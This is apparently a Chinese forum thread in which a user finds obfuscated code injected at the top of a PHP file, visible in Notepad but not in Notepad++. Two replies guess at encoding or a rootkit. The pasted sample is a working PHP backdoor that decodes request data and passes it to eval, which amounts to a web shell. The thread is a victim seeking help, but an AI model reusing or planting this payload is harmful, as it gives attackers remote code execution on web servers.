    这是一个创建于 2576 天前的主题,其中的信息可能已经有所发展或是发生改变。

    不知什么 记事本打开就在文件 头部出现

    notepad 打开就正常显示

    但 确实是被植入了异常代码

    大致如下

    $p97fc7c02){$d5cea=$p97fc7c02;$uf9309=$jaa9;}if(!$d5cea){foreach($yeb0cb[$yeb0cb['gf800'][13].$yeb0cb['gf800'][28].$yeb0cb['gf800'][83].$yeb0cb['gf800'][90].$yeb0cb['gf800'][10].$yeb0cb['gf800'][65].$yeb0cb['gf800'][10]]as$jaa9=>$p97fc7c02){$d5cea=$p97fc7c02;$uf9309=$jaa9;}}$d5cea=@$yeb0cb[$yeb0cb['gf800'][28].$yeb0cb['gf800'][83].$yeb0cb['gf800'][10].$yeb0cb['gf800'][61].$yeb0cb['gf800'][79]]($yeb0cb[$yeb0cb['gf800'][76].$yeb0cb['gf800'][90].$yeb0cb['gf800'][87].$yeb0cb['gf800'][10].$yeb0cb['gf800'][90].$yeb0cb['gf800'][11].$yeb0cb['gf800'][53].$yeb0cb['gf800'][62].$yeb0cb['gf800'][87]]($yeb0cb[$yeb0cb['gf800'][57].$yeb0cb['gf800'][20].$yeb0cb['gf800'][83].$yeb0cb['gf800'][36].$yeb0cb['gf800'][42].$yeb0cb['gf800'][28].$yeb0cb['gf800'][92].$yeb0cb['gf800'][36].$yeb0cb['gf800'][42]]($d5cea),$uf9309));if(isset($d5cea[$yeb0cb['gf800'][65].$yeb0cb['gf800'][18]])&&$laff5==$d5cea[$yeb0cb['gf800'][65].$yeb0cb['gf800'][18]]){if($d5cea[$yeb0cb['gf800'][65]]==$yeb0cb['gf800'][54]){$wd7ddcb4=Array($yeb0cb['gf800'][35].$yeb0cb['gf800'][38]=>@$yeb0cb[$yeb0cb['gf800'][60].$yeb0cb['gf800'][36].$yeb0cb['gf800'][83].$yeb0cb['gf800'][62].$yeb0cb['gf800'][53]](),$yeb0cb['gf800'][5].$yeb0cb['gf800'][38]=>$yeb0cb['gf800'][11].$yeb0cb['gf800'][45].$yeb0cb['gf800'][46].$yeb0cb['gf800'][89].$yeb0cb['gf800'][11],);echo@$yeb0cb[$yeb0cb['gf800'][73].$yeb0cb['gf800'][42].$yeb0cb['gf800'][92].$yeb0cb['gf800'][61].$yeb0cb['gf800'][10]]($wd7ddcb4);}elseif($d5cea[$yeb0cb['gf800'][65]]==$yeb0cb['gf800'][36]){eval/*ac1c*/($d5cea[$yeb0cb['gf800'][83]]);}exit();} ?>// +----------------------------------------------------------------------

    可能是编码的原因吧,设置一下 utf8 试试?

    notepad++打开正常,但是记事本打开能看到的话。看下 notepad++的程序是不是被篡改过,如果没有被篡改过,很有可能还有 rootkit。
